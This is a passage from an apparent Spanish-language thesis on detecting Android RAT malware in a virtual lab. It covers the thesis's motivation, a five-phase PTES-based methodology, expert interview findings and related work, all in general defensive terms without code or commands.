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RESUMEN

Este estudio se centra en el estudio del malware RAT (Acceso Remoto Trojan) en
dispositivos Android a través de la implementacion de métodos de deteccion estaticos y
dinamicos. Estas amenazas posibilitan el control remoto no permitido, poniendo en riesgo la
seguridad y privacidad de los usuarios al propiciar el hurto de informacion delicada,
seguimiento de acciones y manejo de dispositivos. Se establecieron laboratorios virtuales
utilizando herramientas especializadas como MobSF y Drozer, lo que posibilita un ambiente
regulado para analizar la conducta del malware. El estudio se llevo a cabo en cinco etapas:
configuracion del ambiente, eleccion de las muestras, analisis, examenes de laboratorio y
comunicacion de los descubrimientos. Los hallazgos abarcaron la deteccion de vectores de
ataque, procesos de propagacion y tacticas de persistencia, ademas de la creacion de una guia

de prevencidn y mitigacion para los vectores de ataque.

Palabras claves : RAT (Remote Access Trojan), Malware, Android
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ABSTRACT

This study focuses on the analysis of RAT (Remote Access Trojan) malware on Android
devices through the implementation of static and dynamic detection methods. These threats
enable unauthorized remote control, jeopardizing user security and privacy by facilitating the
theft of sensitive information, activity monitoring, and device manipulation. Virtual
laboratories were established using specialized tools such as MobSF and Drozer, enabling a
controlled environment to analyze the behavior of the malware. The study was conducted in
five stages: environment setup, sample selection, analysis, laboratory testing, and reporting
of findings. The results included the identification of attack vectors, propagation processes,
and persistence tactics, as well as the development of a prevention and mitigation guide for

the identified attack vectors.

The keywords are: RAT (Remote Access Trojan), Malware, Android
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INTRODUCCION

Actualmente, el malware RAT (Trojan de Acceso A distancia) se ha establecido como una
amenaza sofisticada en dispositivos Android, proporcionando a los atacantes control total a
distancia para llevar a cabo tareas como la extraccion de informacion delicada, el manejo del
sistema y la realizacion de acciones no permitidas. Su andlisis técnico fusiona métodos
estaticos, como el desensamblado de codigo y la identificacion de patrones
malintencionados, con técnicas dindmicas que monitorean su actuacion en tiempo real e
interacttan con servicios del sistema

Etapa Capitulo I: En esta seccion se incluye en el desarrollo del problema principal, entender
el crecimiento que experimenta todo el tema de Malware RAT en dispositivos moéviles
Android, su estado actual, razones, evolucion, entre otros aspectos. Ademas, se basa en
conocer técnicas fundamentales para el andlisis adecuado de estos archivos
malintencionados, empleando métodos de seguridad como el andlisis estatico y dinamico

para la evaluacion.

Etapa Cpitulo 1I: Establece un método de cinco etapas para examinar el malware RAT en
Android. Se estableci6 un laboratorio virtual utilizando recursos como MobSF y Drozer, se
escogieron muestras pertinentes y se examinaron a través de métodos estaticos y dindmicos.
En experimentos de laboratorio, se realizaron simulacros de ataques para analizar el

comportamiento del malware, corroborando su efecto en la seguridad.

Etapa Capitulo 111: elabora un procedimiento de cinco etapas para examinar el malware RAT
en Android. Se estableci6 un laboratorio virtual utilizando recursos como MobSF y Drozer,
se escogieron muestras pertinentes y se examinaron a través de métodos estaticos y
dindmicos. En experimentos de laboratorio, se realizaron simulacros de ataques para analizar
el comportamiento del malware, corroborando su efecto en la seguridad. Finalmente, se
produjo un informe exhaustivo de los descubrimientos y se desarroll6 una guia con
sugerencias Utiles para prevenir y minimizar riesgos, reforzando la ciberseguridad en

dispositivos Android.



CAPITULO |

1 FUNDAMENTACION

1.1 ANTECEDENTES

Hoy en dia, el avance tecnoldgico en dispositivos mdviles es un tema de gran relevancia que
ha marcado el comienzo de lo que se conoce como la "era de la conectividad
ininterrumpida”. Este progreso ha transformado la manera en que las personas se comunican
e interactuan con la tecnologia, ofreciendo una amplia gama de servicios y funcionalidades

desde la palma de su mano [1].

No obstante, este avance también ha presentado desafios significativos en términos de
seguridad cibernética. La creciente dependencia de los dispositivos moviles para realizar
transferencias financieras y acceder a informacion confidencial ha dado lugar a la aparicion
de amenazas latentes y muy maliciosas, como el ransomware, el troyano bancario, el RAT
(Remote Access Trojan), asi como el adware. Estos programas maliciosos realizan una
variedad de actividades dafiinas para extraer informacion confidencial de manera no

autorizada [2].

En 2023, Kaspersky observé un aumento constante en el nimero de amenazas a dispositivos
moviles, que alcanz6 casi 33,8 millones de ataques, lo que supone un aumento de mas del
50% con respecto a las cifras del afio anterior. La amenaza mas frecuente para los
dispositivos mdviles fue el adware, que constituye el 40.8% de todas las amenazas
detectadas. Este creciente aumento de los ataques informaticos en dispositivos moviles ha
sido una tendencia que se ha visto impulsada por la ubicuidad de los teléfonos inteligentes
y tabletas en la vida cotidiana. Los atacantes informaticos han identificado la vulnerabilidad
inherente en la constante conectividad a Internet y el manejo delicado de informacion en

estos dispositivos [3].



kaspersky

Figura 1: Estadisticas de las amenazas moéviles Fuente: [4]

El gréafico proporcionado por Kaspersky Lab, que refleja las estadisticas de amenazas
moviles, muestra fluctuaciones en la cantidad de amenazas detectadas a lo largo del afio,
destacando una disminucion entre el primer y segundo trimestre de 2022; sin embargo, la
tendencia general indica un aumento en las cifras de amenazas. Este patron evidencia que, a
pesar de las medidas de seguridad implementadas, los ciberdelincuentes continGan
adaptando sus técticas para comprometer dispositivos maéviles. Entre las posibles razones de
este crecimiento se encuentran el aumento en el uso de teléfonos inteligentes, la aparicién
de nuevas vulnerabilidades en sistemas operativos y aplicaciones, asi como la creciente
sofisticacion de los ataques dirigidos [4]. Por ello, es fundamental que los usuarios
comprendan la naturaleza de estas amenazas y adopten medidas de proteccion proactivas,

como mantener sus dispositivos actualizados, descargar aplicaciones exclusivamente de



fuentes confiables e implementar soluciones de seguridad movil, para salvaguardar la

integridad de sus dispositivos en un entorno de amenazas en evolucion.

Para el presente proyecto se dara iniciativa a guias de investigaciones relacionadas al tema
ya sea articulos, tesis, con la finalidad de entender més al fondo sobre el comportamiento de
malware en dispositivos méviles Android y a su vez la importancia de la ciberseguridad en
la proteccion de datos personales. Por lo tanto, se mencionan tres aspectos esenciales de

estudio como base indagadas de manera local, internacional y nacional.

La tesis "Analisis del impacto de los ataques de ransomware en las organizaciones
colombianas para la determinacidn de nuevas estrategias de proteccion cibernética”,
de Jhon Jairo Pinzon R., subraya la importancia critica del ransomware, que cifra datos y
exige un rescate. También examina la evolucion tecnoldgica que ha facilitado la aparicion
de nuevas variantes de ransomware, capaces de afectar diversos sistemas y dispositivos.
Ademas, destaca el aumento significativo de eventos de seguridad cibernética en Colombia
en los dltimos afios, con pérdidas financieras considerables para las organizaciones
afectadas. Este estudio proporciona una vision profunda del impacto del ransomware en el
entorno empresarial colombiano y ofrece una base sélida para el desarrollo de estrategias

efectivas de proteccidon cibernética [4].

La tesis “Analisis comparativo de Malware en teléfonos inteligentes Android,
prevencién y mitigacion de sus efectos” de Stalyn Andrango P., menciona como el avance
tecnoldgico ha transformado la vida diaria, especialmente en el ambito laboral, pasando de
grandes computadoras a dispositivos moviles. A pesar de su conveniencia, la seguridad en
estos dispositivos suele ser descuidada, convirtiéndolos en blancos para ciberdelincuentes.
Por ello, este proyecto se centra en mejorar la seguridad de los dispositivos méviles con
Android, que dominan el mercado. Identificar y abordar sus vulnerabilidades criticas puede

reducir significativamente los dafios causados por ataques cibernéticos [5].

La tesis ""Implementacion de un laboratorio virtual de analisis y comportamiento de

malware para mejorar la seguridad y proteccion de datos en los laboratorios de la

Facultad de Sistemas y Telecomunicaciones (FACSISTEL)", de [Nombre del autor],

subraya la necesidad critica de controlar el malware en la red de la facultad. Identifica la
4



falta de regulacion en el trafico de red como una causa de inseguridad, que permite la
propagacion de software malicioso y amenaza la integridad de los datos. Para abordar este
problema, la tesis propone la implementacion de un laboratorio virtual en los servidores de
FACSISTEL, utilizando herramientas de codigo abierto para andlisis estatico y dinamico de

malware [6].

En concordancia con las investigaciones previamente mencionadas, se resalta la esencial
tarea de proteger los activos de informacidn frente a las incesantes innovaciones tecnologicas
y las nuevas modalidades de ataques que surgen. En este contexto, se enfoca en el analisis
pormenorizado del malware, particularmente los RAT (Remote Access Trojans), con el fin
de entender su intrusion en dispositivos Android. Este andlisis proporciona una vision
profunda de como estos programas interactian con los sistemas, escalan privilegios y
extraen informacion. Ademas, se hace hincapié en la implementacion de sélidas practicas de
seguridad de la informacion, junto con programas de concientizacién sobre buenas practicas
de TI, como elementos clave para establecer una proteccion robusta y proactiva de los datos

digitales.
1.2 DESCRIPCION DEL PROYECTO

La falta de diversidad en la informacion sobre la importancia de la seguridad informatica en
dispositivos Android ha impulsado un aumento significativo de ataques cibernéticos, como
es el caso de los RAT (Remote Access Trojan). Estos malware permiten acceso no
autorizado, robo de informacion y comprometen gravemente la integridad del sistema. Por
ello, se considera que este trabajo aborda la necesidad de realizar un analisis exhaustivo del
malware RAT, con el objetivo de desarrollar y proponer una metodologia coherente que
incluya herramientas y técnicas esenciales para identificar, caracterizar y mitigar eficazmente
estos ataques en dispositivos Android. Se busca garantizar asi la proteccion integral de la

seguridad y privacidad de los usuarios en entornos moviles.

Los test de penetracion son cruciales para el estudio, ya que permiten simular escenarios
reales y comprender de manera detallada la problematica. Se considera que, en este trabajo,

dichos analisis ayudaran a examinar el accionar del malware RAT en dispositivos Android,



comprendiendo su naturaleza, los objetivos de los payloads y los activos de informacion
comprometidos. Por ende, el estudio de malware a través de técnicas estaticas y dindmicas
es clave para desarrollar buenas practicas que permitan combatir las brechas de seguridad

que estos malware ocasionan.

El presente proyecto toma como guia la Metodologia Penetration Testing Execution Standard
(PTES)

Fase 1: Configuracion del Laboratorio Virtual
» Preparacion del Laboratorio Virtual controlado
» Instalacion de herramientas de analisis
» Configurar sistemas de Registro
Fase 2: Eleccion de la muestra
» Explorar las técnicas estaticas y dindmicas para emplear el analisis de Malware
» Emplear pardmetros de agrupacion de clasificacion como Vector de ataque, sistemas
en peligro, vulnerabilidad a provocar, entre otros.
» Categorizar el Origen del RAT
» Buscar malware’s RAT méas empleados en Android
Fase 3: Analisis de Malware
» Seleccionar 3 Malware’s de la fase 2 para emplear el anélisis en las herramientas a
trabajar
Obtener la informacion detallada del malware

Conocer el comportamiento malicioso

vV V VY

Activos de informacion en peligro
» Vulnerabilidades provocadas

Fase 4: Pruebas de laboratorios
» Desarrollar pruebas especificas reales como controladas
» Monitorear el comportamiento del malware
» ldentificar vulnerabilidades explotadas
>

Conocer el nivel de acceso al objeto victima



>

Recopilar informacion relevante (Activos de informacion Usuario)

Fase 5: Reporte

>

YV V V V V

Datos de pruebas

Objetivo

Alcance

Analisis e interpretacion de resultados
Observacion practica

Recomendacion técnicas

1.3 OBJETIVOS DEL PROYECTO

131

OBJETIVO GENERAL

Implementar un laboratorio controlado virtual para el analisis de Malware RAT mediante
técnicas de deteccion estaticas y dinamicas en dispositivos moviles Android.

1.3.2

OBJETIVOS ESPECIFICOS

Analizar técnicas de deteccion estaticas y dinamicas empleadas en el Malware RAT
en Android para comprender su comportamiento.

Utilizar laboratorios de pruebas usando maquinas virtuales pre-configuradas para la
inspeccion del Malware RAT.

Describir los mecanismos de propagacion y comportamiento del malware RAT.
Elaborar una guia de métodos de prevencién para minimizar la materializacion de

los riesgos y pérdida que genera el malware RAT.

1.4 JUSTIFICACION DEL PROYECTO

El andlisis del malware RAT (Remote Access Trojan) reviste una importancia critica en el ambito de

la seguridad cibernética, especialmente en entornos Android. Los RAT representan una

forma avanzada de software malicioso disefiado para infiltrarse en sistemas informaticos,

permitiendo a los atacantes acceder y controlar remotamente los dispositivos infectados. Esta

modalidad de malware puede llevar a la exfiltracion de datos sensibles, el robo de
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informacidn financiera y personal, asi como a la violacion de la privacidad de los usuarios
[71.

Es esencial comprender la amplia gama de malware existente en el entorno digital, que
incluye tipos como el ransomware, troyanos bancarios, RAT y adware. El ransomware, por
ejemplo, bloquea el acceso a archivos y exige un rescate para su liberacion, mientras que los
troyanos bancarios se centran en el robo de informacién financiera, como contrasefias y
detalles de tarjetas de crédito, comprometiendo la seguridad de las transacciones en linea.
Por otro lado, los RAT proporcionan a los atacantes acceso remoto y control sobre
dispositivos comprometidos, permitiéndoles llevar a cabo una variedad de actividades
maliciosas, desde la vigilancia hasta la ejecucion de ataques de denegacién de servicio [8].

La necesidad de salvaguardar la informacion y proteger la identidad digital personal se
vuelve ain mas evidente en la era digital actual, donde la mayoria de las actividades se llevan
a cabo en linea. La pérdida o compromiso de datos sensibles puede tener consecuencias
devastadoras para los individuos y las organizaciones, incluyendo el robo de identidad, la
pérdida financiera y el dafio a la reputacion. Por lo tanto, es imperativo implementar medidas
de seguridad proactivas y eficaces para mitigar los riesgos asociados con los RAT vy otras

formas de malware.

En este sentido, la concientizacion sobre buenas préacticas de TI juega un papel fundamental
en la proteccion de la identidad digital personal y la prevencion de ataques de malware.
Educando a los usuarios sobre como reconocer y evitar las técnicas de ingenieria social, cémo
mantener actualizados los sistemas operativos y las aplicaciones, y como utilizar
herramientas de seguridad como firewalls y antivirus, se puede reducir significativamente el
riesgo de infeccion por malware y proteger la integridad de los datos personales y
empresariales. En Gltima instancia, la combinacién de analisis de malware avanzado y
practicas de seguridad sélidas es esencial para garantizar la seguridad y la privacidad en el

entorno digital actual.



1.5 ALCANCE DEL PROYECTO

El enfoque del proyecto propuesto se basa en una metodologia de investigacion experimental,
que implica el andlisis detallado de las técnicas estaticas y dinamicas para la deteccion y
mitigacion del malware RAT (Remote Access Trojan) en dispositivos Android. Esta
metodologia permitira la evaluacion de los resultados antes y después de la investigacion,
centrandose en la eficacia de las técnicas utilizadas para combatir esta amenaza. La variable
de medicidn principal se enfoca en la capacidad de deteccion y el impacto en la seguridad de
los dispositivos Android frente a la presencia de malware RAT. Se utilizaran casos reales de
pruebas y maquinas virtuales para simular escenarios practicos y evaluar la eficacia de las
medidas implementadas. Este proyecto se alinea estrechamente con el tema de la tesis, ya
que busca comprender y mejorar la capacidad de proteccion contra el malware RAT en

dispositivos Android mediante el uso de técnicas estaticas y dinamicas de analisis [9].

Fase 1: Configuracion del Laboratorio Virtual

Durante esta fase, se prepara un entorno virtual controlado, instalando las herramientas de
andlisis necesarias y configurando los sistemas de registro para monitorear las actividades y

resultados del analisis.
Fase 2: Eleccion de la Muestra

Se exploran técnicas estaticas y dinamicas para el analisis de malware. También se emplean
parametros de clasificacion como vectores de ataque, sistemas en riesgo y vulnerabilidades
potenciales. Se categoriza el origen del RAT vy se identifican los malware RAT més

utilizados en dispositivos Android.
Fase 3: Analisis de Malware

En esta fase, se seleccionan tres malware de la fase anterior para su andlisis detallado, con
el objetivo de comprender su comportamiento malicioso, identificar los activos en peligro y

las vulnerabilidades explotadas.



Fase 4: Pruebas de Laboratorios

Se realizan pruebas controladas para monitorear el comportamiento del malware, identificar
las vulnerabilidades explotadas, evaluar el nivel de acceso a los dispositivos afectados y

recopilar informacion relevante sobre los activos de informacion comprometidos.
Fase 5: Reporte

En esta etapa final, se documentan los datos de las pruebas, el objetivo, el alcance, y se realiza
un analisis e interpretacion de los resultados obtenidos. Se incluyen observaciones practicas

sobre el comportamiento del malware y las vulnerabilidades detectadas.

1.6 METODOLOGIA DEL PROYECTO
1.6.1 METODOLOGIA DE INVESTIGACION

El método exploratorio tiene como definicion el comportamiento de analizar una
problematica de investigacion poco conocido sin ser abordado a profundidad y que carece de
ideas de informacion [10]. EI tema de investigacion cumple la necesidad de abordar un sin
namero de informacion relevantes que contendran aspectos superficiales como base sobre el
analisis de malware RAT en dispositivos mdviles, debido que son dispositivos que cuentan

con alto espectro de informacion relevante es peligro cuando se trata de ataques informaticos.

Por lo tanto, se toma en cuenta la investigacion cualitativa que emplea un enfoque central
sobre las percepciones en experiencias y comportamientos de los usuarios en relacién con la
seguridad informatica y la proteccion contra malware. Esto podria implicar entrevistas en
profundidad, grupos focales o anélisis de contenido de foros en linea para recopilar datos
cualitativos sobre las opiniones y actitudes de los usuarios [11].

Adicional, la investigacion sera desarrollada mediante busqueda bibliografica como el
conjunto de conocimientos y técnicas que el profesional o el investigador deben poseer para
usar habitualmente la biblioteca y sus fuentes hacer pesquisas bibliogréaficas y escribir

documentos cientificos.
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El alcance de la investigacion se define como descriptivo. Esta eleccion se basa en el objetivo
de describir detalladamente las técnicas estaticas y dinamicas utilizadas en la deteccion y
mitigacion del malware RAT en plataformas Android. En lugar de profundizar en la
comprension de coOmo y por qué estas técnicas son efectivas, se busca proporcionar una
descripcion exhaustiva del fendmeno estudiado, definiendo sus caracteristicas, aplicaciones
y limitaciones. El enfoque estara en identificar las diversas técnicas utilizadas en la deteccion
y mitigacion del malware RAT, asi como en explicar su funcionamiento y aplicabilidad en

entornos de seguridad de dispositivos Android [12].

1.6.2 VARIABLES DEL ESTUDIO

Variable Independiente: Técnicas de deteccion estaticas y dinamicas.
Variable Dependiente: Resultado del anélisis del malware RAT

1.6.3 HIPOTESIS

Hipdtesis: El uso combinado de técnicas de deteccion estaticas y dinamicas mejora la
precision y la eficacia en la deteccion de malware RAT en plataformas moviles Android, en

comparacion con el uso individual de cada técnica.

1.6.4 TECNICAS DE RECOLECCION DE INFORMACION

» Técnicas
Estudio del arte, entrevistas y fuentes bibliogréficas, articulos, tesis

» Instrumentos
Para la recoleccion de datos a través de entrevistas, se empleara un guion de entrevista
semiestructurado disefiado especificamente para explorar las percepciones,
experiencias y comportamientos de los usuarios en relacion con la seguridad
informética y la proteccion contra el malware en dispositivos Android. Este guion
incluira preguntas abiertas que permitiran a los participantes expresar sus opiniones
y preocupaciones de manera amplia y detallada. Ademas, se utilizara equipo de
grabacion de audio o video para registrar las entrevistas y garantizar una captura

precisa de los datos. El uso de entrevistas semiestructuradas proporcionara
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flexibilidad para profundizar en temas relevantes y capturar una variedad de
perspectivas de los participantes.
» Poblacion
» Entrevista Expertos en el area de seguridad informatica.
» Conocer la forma de cdmo se enfrentan cada vez a las generaciones a las
tendencias de la tecnologia para asi resguardar sus datos personales en un

dispositivo movil.

1.6.4.1 ANALISIS DE ENTREVISTA

El objetivo de las entrevistas realizadas a los Especialista 1 y Especialista 2 que son expertos
en Ciberseguridad con la finalidad de recopilar informacion sobre los problemas de la
seguridad informatica en dispositivos Android, con un enfoque en la deteccién de malware
RAT (Remote Access Trojan) mediante el uso de técnicas de analisis estatico y dinamico. A
continuacidn, se presenta un andlisis unificado de las ideas y experiencias aportadas por
ambos expertos en Ciberseguridad.

. Experiencia en el Analisis de Malware y RAT en Android

Ambos ingenieros destacan su experiencia en el analisis de malware, aunque desde
perspectivas ligeramente distintas. ElI Especialista 1 ha trabajado especificamente con
técnicas tanto estaticas como dinamicas para la deteccion de malware en dispositivos
Android, lo que le ha permitido tener una vision mas integral sobre las ventajas de combinar
ambas técnicas (\VVer Anexo #1). En cambio, el Ing. Especialista 2, aunque se especializa mas
en el andlisis de trafico de red, también comparte su enfoque hacia las técnicas dinamicas
como un aspecto clave en la deteccion de malware, subrayando la importancia de la

flexibilidad y personalizacion en estas herramientas (\Ver Anexo #2).
2. Beneficios de la Combinacion de Teécnicas Estaticas y Dinamicas

Ambos expertos coinciden en que la combinacion de técnicas estaticas y dinamicas es
esencial para mejorar la precision y la eficacia en la deteccion de malware RAT. El
Especialista 1, describe como la ofuscacion de codigo puede dificultar la deteccion con
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técnicas estaticas, mientras que las dinamicas revelan comportamientos maliciosos, como la

conexion a servidores de comando y control (\Ver Anexo #1). Por su parte, el Especialista 2

sefiala que las técnicas dindmicas permiten modificar el codigo y generar informes més
precisos, lo que favorece la deteccion de malware que podria no ser identificado con técnicas
estaticas por si solas. Ambos sugieren que la combinacion maximiza la capacidad de

deteccion, proporcionando una cobertura méas amplia frente a las amenazas (Ver Anexo #2).
3. Limitaciones de las Técnicas Estaticas

Las limitaciones de las técnicas estaticas son un tema recurrente en ambas entrevistas. El
Especialista 1 menciona que estas técnicas a menudo fallan al identificar malware con
técnicas de ofuscacion o cadigos polimorficos, lo que puede dar lugar a falsos negativos (\Ver
Anexo #1). El Especialista 2, también subraya que las herramientas estaticas predefinidas no
permiten modificaciones, lo que las hace menos flexibles y efectivas en ciertos casos. Ambos
coinciden en que el andlisis estatico, por si solo, es insuficiente para detectar
comportamientos maliciosos que se manifiestan durante la ejecucién del malware (Ver
Anexo #2).

4. Utilidad de las Técnicas Dinamicas

En cuanto a las técnicas dindmicas, ambos expertos estan de acuerdo en su efectividad, pero
destacan distintos aspectos. El Especialista 1 sefiala que estas técnicas revelan conexiones
maliciosas y descargas de archivos que el andlisis estatico no puede identificar (Ver Anexo
#1). Mientras tanto, el Especialista 2 prefiere las técnicas dinamicas debido a su capacidad
de ser adaptadas y modificadas, lo que las hace mas adecuadas para sus investigaciones sobre
trafico de red y malware (\Ver Anexo #2).

5. Desafios en la Implementacion de Técnicas Combinadas

El mayor desafio identificado por ambos ingenieros al combinar estas técnicas es la demanda
de recursos. El Especialista 1 hace énfasis en los requerimientos de hardware y la necesidad

de entornos controlados para ejecutar analisis dindmicos (\Ver Anexo #1), mientras que el
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Especialista 2 menciona la diversidad de sistemas operativos y la complejidad de configurar
simulaciones de entornos reales en redes empresariales. Ambos superaron estas limitaciones

mediante el uso de servidores dedicados y laboratorios virtualizados (Ver Anexo #2).

6. Métricas de Evaluacion de Precision y Eficacia

Ambos entrevistados mencionan la importancia de evaluar la deteccion de malware a través
de métricas como el tiempo de ejecucion, la tasa de deteccion, los falsos positivos y la
cobertura del comportamiento del malware. El Especialista 1 sugiere que las técnicas
combinadas proporcionan una tasa de deteccion méas alta en comparacion con las técnicas
individuales (Ver Anexo #1), mientras que el Especialista 2 propone el uso de algoritmos de
inteligencia artificial para analizar la precision de estas detecciones. Ambos consideran que
las técnicas combinadas ofrecen una vision mas completa del comportamiento del malware

y reducen la probabilidad de errores en la deteccion (Ver Anexo #2).
7. Recomendaciones para Profesionales de Ciberseguridad

Finalmente, los dos ingenieros recomiendan a los investigadores y profesionales de la
ciberseguridad no depender de una sola técnica de deteccidn. El Especialista 1 sugiere
invertir en hardware adecuado y utilizar una combinacion de andlisis estaticos y dindmicos

(Ver Anexo #1), mientras que el Especialista 2 enfatiza la importancia de trabajar en

seguridad por capas y desarrollar herramientas personalizadas basadas en librerias de codigo
abierto, para garantizar una deteccién mas efectiva y adaptada a las necesidades especificas

de cada entorno (Ver Anexo #2).

En conjunto, ambos expertos coinciden en la necesidad de combinar técnicas estaticas y
dindmicas para una deteccion efectiva de malware RAT en dispositivos Android. Aunque sus
enfoques difieren ligeramente, con El Especialista 1 centrado en la deteccion de malware
mediante técnicas establecidas y con El Especialista 2 orientado hacia el desarrollo de
herramientas mas flexibles, ambos reconocen la importancia de una estrategia integral y

adaptativa. Las limitaciones de las técnicas estaticas, las ventajas de las dinamicas y los
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desafios técnicos en la implementacion de soluciones efectivas son elementos clave que los

expertos sefialan para mejorar la seguridad en plataformas Android.

1.6.5 METODOLOGIA DE DESARROLLO DEL PROYECTO

El Penetration Testing Execution Standard (PTES) es un marco de trabajo para llevar a cabo
pruebas de penetracion de manera estructurada y organizada. Proporciona una guia detallada
sobre las diferentes fases de un proceso de pruebas de penetracion, desde la planificacion y
la recopilacion de informacion hasta la explotacion de vulnerabilidades, el andlisis de
resultados y la presentacion de informes [13]

Fase 1: Recopilacion de Informacion

Se centra en reunir la mayor cantidad de informacién sobre el objetivo antes de realizar
cualquier ataque. La clave es identificar el entorno, los sistemas, servicios, aplicaciones y
usuarios asociados con el sistema objetivo. Técnicas como el escaneo de redes, el
reconocimiento pasivo (recoger informacion puablica) y el activo (escaneos directos) son

fundamentales para entender la infraestructura y los puntos débiles potenciales.
Fase 2: Analisis de Vulnerabilidades

Se espera identificar y analizar posibles vulnerabilidades en el sistema. Se utilizan
herramientas automaticas y técnicas manuales para buscar fallos de seguridad que podrian
ser explotados, como configuraciones incorrectas, software desactualizado o errores de

codigo.
Fase 3: Explotacién

En esta fase se utilizan las vulnerabilidades descubiertas para obtener acceso no autorizado a
los sistemas o redes del objetivo. Aqui se lanzan ataques con el objetivo de comprometer el
sistema, simular como un atacante real aprovecharia estas debilidades para obtener acceso,
ejecutar comandos maliciosos o tomar control de recursos importantes. La intencidn no es

dafar, sino demostrar la viabilidad del ataque.

Fase 4: Post-explotacion
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Después de comprometer al sistema, esta fase se enfoca en evaluar el impacto del acceso
conseguido. El tester determina hasta qué punto puede moverse lateralmente dentro del
sistema, extraer informacion sensible, obtener credenciales adicionales o0 comprometer méas
recursos. Se evallan las posibles consecuencias de una intrusion y el nivel de control que un

atacante podria obtener.
Fase 5: Informe

Aqui implica la creacién de un informe detallado que documente todo el proceso de la prueba
de penetracion. Se incluye los analisis de las vulnerabilidades encontradas, como fueron
explotadas, el impacto potencial de dichas vulnerabilidades y se presentan recomendaciones
para mitigar o solucionar los problemas de seguridad identificados. El informe suele incluir
un resumen ejecutivo para la alta direccion y un andlisis técnico detallado para los equipos

de seguridad.

‘Recoleccién de Informacion

Informe

Figura 2: Metodologia Penetration Testing Execution Standard(PTES)
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CAPITULO I

2 MARCO REFERENCIAL
2.1 MARCO CONTEXTUAL

Los centros de investigaciones en el campo de seguridad informatica aparecen como un aporte a la
solucion de los problemas que se generan en las empresas, organizaciones e instituciones,

por lo que este texto constituira en un verdadero aporte a nivel de estudiantes y profesionales.

Actualmente la auditoria informéatica comprende un componente importante dentro de la
evaluacion, control y seguridad de programas, aplicaciones y tecnologia que permiten a las
Instituciones llevar a cabo de manera eficaz y eficiente sus operaciones. Los datos personales,
financieros y corporativos son el blanco principal de los ciberdelincuentes. Un ataque
cibernético puede ir desde la intrusion a sistemas privados hasta el robo de identidad, pasando

por la difusion de malware que puede paralizar infraestructuras enteras [14].

La ciberseguridad en el mundo digital ha evolucionado drasticamente debido a los avances
tecnoldgicos que en la actual se presenta, asi mismo, como aparecen nuevos enfoques
informaticos, también ocurre nuevas amenazas cibernéticas que son cruciales para
comprometer un sistema en comun de una empresa u organizacion. El objetivo principal de
la ciberseguridad no comprende en solo proteger los sistemas informaticos que contenga
informacién confidencial, sino también garantizar la continuidad del negocio y de la
confianza del cliente. Es importante destacar que las violaciones de seguridad informatica a
los sistemas que las entidades cuenta permite en su mayoria ser usados para incumplir las

leyes legales como la proteccién de datos digitales, entre otros. [15]

La reputacion de las entidades organizacionales esta en margen de ser vulneradas gracias a
la filtracion de informacion que los ciberdelicuentes adquieren luego de elaborar ataques
informaticos a los sistemas informaticos, lo que permite afectar negativamente la relacién
con los clientes y lograr dar un declive en los procesos de negocios perdiendo grandes
cantidades de suma de dinero que en un futuro sino es corregido la brecha de seguridad

provocaria la quiebra en su totalidad de la enditad. Por lo tanto, es necesario invertir en
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ciberseguridad ya que es esencial proteger los activos digitales y mantener a flote todo lo

referente a los procesos de negocios y no perder la confianza con los clientes [16].

El malware tiene un impacto econdémico y social significativo, afectando a individuos,
empresas Yy gobiernos en todo el mundo. Econdmicamente, genera perdidas millonarias por
la interrupcion de operaciones, robos de datos y el costo de medidas de recuperacion y
ciberseguridad, estimandose que el costo global del cibercrimen alcanzara los 10 billones de
ddlares para 2025. Socialmente, compromete la privacidad, afecta servicios criticos como la
salud y crea desconfianza en las tecnologias digitales. Un caso relevante es el ataque de
ransomware WannaCry en 2017, que afect6 a mas de 200,000 computadoras en 150 paises,
interrumpiendo servicios de salud y causando dafios valorados en miles de millones de
ddlares [17].

2.2 MARCO TEORICO

2.21 METODOLOGIA PARA EL ANALISIS DE MALWARE EN UN
AMBIENTE CONTROLADO

Este trabajo tiene como objetivo establecer un laboratorio seguro para realizar un analisis
automatizado de muestras de malware, buscando reducir el tiempo de analisis mediante el
uso de Cuckoo Sandbox. Se llevaran a cabo pruebas para evaluar el ciclo de vida del malware,
sus caracteristicas de propagacion, los métodos de infeccién y la recoleccién de datos, asi
como su impacto en los sistemas comprometidos. Ademas, se pretende comprender las
motivaciones y objetivos detras de los ataques, con el fin de desarrollar politicas de seguridad
que ayuden a las empresas a asegurar la confidencialidad, integridad y disponibilidad (CID)
de sus datos. Nuestro enfoque se centra en el analisis dindmico de malware, que permite la
deteccion en funcion del comportamiento del malware, lo que implica la ejecucion de

muestras y la observacion de sus acciones en tiempo real [18].

222 MISTIC TFM: SEGURIDAD EN ANDROID - ANALISIS DE
VULNERABILIDADES Y MALWARE.
El uso extensivo de dispositivos maéviles los convierte en objetivos primordiales para ataques

cibernéticos, dado que suelen almacenar informacion confidencial, personal y critica. Esta
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realidad ha incrementado la preocupacion por la seguridad entre empresas, administraciones
publicas y usuarios individuales. Este proyecto se enfoca en delinear diversos métodos y
técnicas para realizar andlisis de seguridad en dispositivos Android™, aplicandolos a un
dispositivo especifico. Se presenta como una guia practica destinada a organizaciones que
buscan garantizar la seguridad de sus dispositivos mdviles y prevenir la infeccion por
malware. En la primera seccion, se describe la arquitectura de seguridad de Android y se
identifican los tipos de malware comunes en esta plataforma. También se detallan los pasos
para configurar un laboratorio con las herramientas necesarias para analizar dispositivos

moviles y su malware [19]

2.2.3 ESTUDIO DE ATAQUES RAT EN DISPOSITIVOS MOVILES ANDROID A
FUNCIONARIOS DE INSTITUCIONES PUBLICAS QUE MANEJAN
INFORMACION SENSIBLE.

El teléfono movil se ha convertido en el dispositivo més utilizado para la comunicacion vy el
entretenimiento, ofreciendo una amplia variedad de aplicaciones. Sin embargo, también es
un objetivo atractivo para los ciberdelincuentes, quienes utilizan técnicas como el phishing
para engafiar a los usuarios. A través de malware, como las herramientas de Administracion
Remota (RAT), los atacantes pueden infiltrarse en los teléfonos Android sin autorizacién,
robando informacién valiosa de las victimas o de las entidades donde trabajan. Este acceso
no autorizado plantea un riesgo significativo para la seguridad personal e institucional.
Nuestro estudio se centra en cémo el malware RAT permite el control remoto de los
dispositivos, lo que facilita el acceso a datos sensibles. Analizamos un caso de una institucion

publica que maneja informacion clasificada, resaltando la gravedad de estos ataques [20] .

2.3 MARCO CONCEPTUAL
2.3.1 CIBERSEGURIDAD

La ciberseguridad se refiere a la proteccion de dispositivos, redes, aplicaciones de software,
sistemas criticos y datos de amenazas digitales. Las empresas estan obligadas a mantener la

informacidn confidencial para mantener la confianza de sus clientes y cumplir con las
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normas legales. Para lograrlo, utilizan herramientas y técnicas de ciberseguridad creadas
para evitar que personas no autorizadas accedan a datos confidenciales y reducir el riesgo
